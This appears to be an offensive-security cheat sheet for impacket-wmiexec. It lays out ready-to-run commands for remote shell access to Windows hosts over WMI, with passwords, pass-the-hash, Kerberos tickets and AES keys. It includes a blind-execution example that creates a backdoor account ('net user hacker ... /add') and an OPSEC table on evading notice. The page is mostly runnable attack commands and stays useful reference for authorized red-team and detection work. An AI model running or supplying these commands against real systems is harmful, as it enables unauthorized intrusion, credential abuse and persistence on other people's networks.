Impacket WMIExec

Overview

impacket-wmiexec executes commands on a remote host using Windows Management Instrumentation (WMI) over DCOM (port 135 + dynamic high ports). It provides a semi-interactive shell without uploading any binary or creating a service. Output is retrieved by writing to a temp file on a writable share.

Authentication Methods

Method	Flag	Example
Password	(default)	`domain/user:password@target`
NTLM hash	`-hashes`	`-hashes :NT_HASH`
Kerberos	`-k -no-pass`	`-k -no-pass -dc-ip DC_IP`
AES key	`-aesKey`	`-aesKey AES256_KEY`

Basic Usage — Interactive Shell

impacket-wmiexec domain.local/administrator:[email protected]

Local admin (no domain):

impacket-wmiexec ./administrator:[email protected]

Execute Specific Command

impacket-wmiexec domain.local/administrator:[email protected] "whoami"

Run a PowerShell command:

impacket-wmiexec domain.local/administrator:[email protected] "powershell -c Get-Process"

How It Works

Authenticates to the target via DCOM/RPC (port 135).
Negotiates a dynamic high port for WMI communication.
Creates a Win32_Process via WMI to execute cmd.exe /Q /c <command>.
Command output is redirected to a temp file at the root of the ADMIN$ share (e.g., C:\Windows\__<timestamp>, since ADMIN$ maps to C:\Windows) — not under \Temp.
Reads the output file over SMB (port 445) and returns it to the attacker.
Deletes the temp output file after reading.

The shell runs as the authenticated user (not SYSTEM, unless authenticating as SYSTEM-equivalent).

OPSEC Considerations

Indicator	Detail
Service creation	None — no service is installed
Binary on disk	None — no executable uploaded
Temp files	Writes output to `ADMIN$` share (short-lived)
Event logs	Process creation (4688), WMI activity (5857, 5860, 5861)
Detection	Stealthier than psexec — no service artifacts
Noise level	Medium — temp file writes and DCOM activity are detectable

Artifacts to expect:

Security Event ID 4624 (network logon type 3)
Security Event ID 4688 (process creation for cmd.exe)
WMI Operational Event IDs 5857, 5860, 5861
Temp files briefly written to the root of the share (default ADMIN$ → C:\Windows\__<timestamp>)

Pass-the-Hash

impacket-wmiexec -hashes :64f12cddaa88057e06a81b54e73b949b domain.local/[email protected]

With both LM and NT hash:

impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b domain.local/[email protected]

Kerberos Authentication

Requires a valid ccache file or keytab.

export KRB5CCNAME=/tmp/administrator.ccache
impacket-wmiexec -k -no-pass domain.local/[email protected]

With explicit DC IP:

impacket-wmiexec -k -no-pass -dc-ip 10.10.10.1 domain.local/[email protected] -target-ip 10.10.10.5

Using AES key directly:

impacket-wmiexec -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc domain.local/[email protected] -k -no-pass

By default, output goes to ADMIN$. Use a different share:

impacket-wmiexec -share C$ domain.local/administrator:[email protected]

Use a custom share (useful when ADMIN$ is restricted):

impacket-wmiexec -share SHARE_NAME domain.local/administrator:[email protected]

Disable output file (blind execution, no output returned):

impacket-wmiexec -nooutput domain.local/administrator:[email protected] "net user hacker P@ss123 /add"

Common Errors and Fixes

Error	Cause	Fix
`DCOM connection failed`	Port 135 or dynamic high ports blocked	Check firewall rules for RPC/DCOM
`STATUS_ACCESS_DENIED`	User lacks WMI/DCOM permissions	Verify DCOM Launch and Access permissions
`rpc_s_access_denied`	Restricted RPC access	User needs local admin or explicit WMI permissions
No output returned	ADMIN$ share not accessible	Try `-share C$` or another writable share
`KDC_ERR_PREAUTH_FAILED`	Wrong password or expired ticket	Verify creds, regenerate ccache
`SessionError: STATUS_LOGON_FAILURE`	Incorrect credentials	Double-check password/hash
Timeout / hangs	Dynamic RPC port negotiation blocked	Ensure high ports (49152-65535) are reachable

Quick Reference

# Interactive shell with password
impacket-wmiexec domain.local/user:pass@TARGET

# Interactive shell with hash (pass-the-hash)
impacket-wmiexec -hashes :NTHASH domain.local/user@TARGET

# Interactive shell with Kerberos
export KRB5CCNAME=/tmp/user.ccache
impacket-wmiexec -k -no-pass domain.local/user@TARGET_FQDN

# Run single command
impacket-wmiexec domain.local/user:pass@TARGET "ipconfig /all"

# Blind execution (no output)
impacket-wmiexec -nooutput domain.local/user:pass@TARGET "cmd /c <command>"

# Use alternate output share
impacket-wmiexec -share C$ domain.local/user:pass@TARGET

# With explicit DC for Kerberos
impacket-wmiexec -k -no-pass -dc-ip DC_IP domain.local/user@TARGET_FQDN

Ports

Brute-Force / Cracking

Metasploit

NetExec

Impacket

Apps

Impacket WMIExec

Overview

Authentication Methods

Basic Usage — Interactive Shell

Execute Specific Command

How It Works

OPSEC Considerations

Pass-the-Hash

Kerberos Authentication

Common Errors and Fixes

Quick Reference

​Overview

​Authentication Methods

​Basic Usage — Interactive Shell

​Execute Specific Command

​How It Works

​OPSEC Considerations

​Pass-the-Hash

​Kerberos Authentication

​Specify Output Share

​Common Errors and Fixes

​Quick Reference

Overview

Authentication Methods

Basic Usage — Interactive Shell

Execute Specific Command

How It Works

OPSEC Considerations

Pass-the-Hash

Kerberos Authentication

Specify Output Share

Common Errors and Fixes

Quick Reference